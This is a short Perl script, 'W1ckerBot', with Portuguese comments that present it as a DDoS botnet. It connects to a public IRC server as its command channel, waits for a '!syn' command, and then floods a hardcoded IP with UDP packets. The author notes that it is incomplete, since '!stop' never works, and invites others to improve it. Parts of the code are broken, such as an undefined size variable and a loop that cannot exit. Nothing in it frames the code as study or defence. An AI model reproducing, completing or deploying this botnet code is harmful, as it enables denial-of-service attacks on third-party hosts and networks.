W1ckerBot

#W1ckerBot
#Botnet para ataques DDoS
# O código está imcompleto e não recebe o parâmetro !stop para FINALIZAR o ataque
#alterem a vontade o código e por favor entrem em contato
#facebook.com/danielhnmoreno

use IO::Socket;

my ($ip,$port,$size);
 $ip='192.168.1.1';
 $port=80;

 socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");

$con = IO::Socket::INET->new(PeerAddr=>'irc.arcti.ca',
                 PeerPort=>'6667',
                 Proto=>'tcp',
                 Timeout=>'30') || print "Error! $!\n";

print $con "USER helloiamabot do you like me\r\n";
print $con "NICK teste12\r\n";
print $con "JOIN #teste2\r\n";

while($answer = <$con>) #Conecta no servidor IRC e fica conectado
{
    print $answer; #Show server reply
    if($answer =~ m/^PING (.*?)$/gi) #Answer ping requests
    {
        print $con "PONG ".$1."\r\n";
    }

    if($answer =~ /!syn/) #Loop para o UDP Flood, porém Não sai do loop =(
    {
        print $con "PRIVMSG #teste2 :Syn Flood Started\r\n";
        goto UDPFLOOD;
    }
}

UDPFLOOD: #UDP Flood, mas não sai desse loop com !stop
do {
    $size=$rand x $rand x $rand;
    send(crazy, 0, $size, sockaddr_in($port, $iaddr));
    }until($answer =~ /!stop/);